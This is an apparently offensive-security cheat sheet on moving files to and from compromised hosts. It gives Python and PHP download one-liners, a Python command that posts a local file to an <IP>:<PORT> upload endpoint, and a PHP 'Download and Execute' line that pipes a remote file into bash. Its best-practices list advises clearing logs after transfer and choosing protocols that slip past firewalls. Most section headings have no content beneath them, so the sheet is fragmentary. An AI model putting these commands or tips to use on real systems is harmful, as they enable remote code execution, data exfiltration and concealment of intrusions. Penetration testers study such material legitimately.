Advanced File Transfer Techniques
Programming Language Methods
Python
# Python 2 Download
python2.7 -c 'import urllib; urllib.urlretrieve("URL", "output_file")'
# Python 3 Download
python3 -c 'import urllib.request; urllib.request.urlretrieve("URL", "output_file")'
# Python 3 Upload (requires requests)
python3 -c 'import requests; requests.post("http://<IP>:<PORT>/upload", files={"files": open("/path/to/file", "rb")})'PHP
# Download with file_get_contents
php -r '$file = file_get_contents("URL"); file_put_contents("output_file", $file);'
# Download with fopen
php -r 'const BUFFER = 1024; $fremote = fopen("URL", "rb"); $flocal = fopen("output_file", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# Download and Execute
php -r '$lines = @file("URL"); foreach ($lines as $line_num => $line) { echo $line; }' | bashRuby and Perl
Windows Scripting Methods
JavaScript (wget.js)
Execute with: cscript.exe /nologo wget.js URL output_file
VBScript (wget.vbs)
Execute with: cscript.exe /nologo wget.vbs URL output_file
Netcat and Network Transfer Methods
Basic Netcat Transfer
Ncat with Enhanced Features
Alternative Methods
PowerShell Session File Transfer
WinRM Setup and Transfer
Protected File Transfers
Windows Encryption
Linux Encryption
HTTP/S File Upload Server
Nginx Upload Server Setup
Living off The Land (LOLBins/GTFOBins)
Windows LOLBins Examples
Linux GTFOBins Examples
Best Practices
Security Considerations
Always encrypt sensitive data before transfer
Use secure protocols when available (HTTPS, SFTP, SSH)
Clean up files and logs after transfer
Protocol Selection
Consider firewall restrictions
Use commonly allowed protocols (HTTP/HTTPS)
Have multiple methods ready as backup
Authentication and Access
Use strong, unique passwords for encrypted transfers
Remove temporary access after transfer completion
Monitor for security alerts during transfer
Testing and Verification
Verify file integrity after transfer
Test transfer methods in lab environment first
Document successful methods for future reference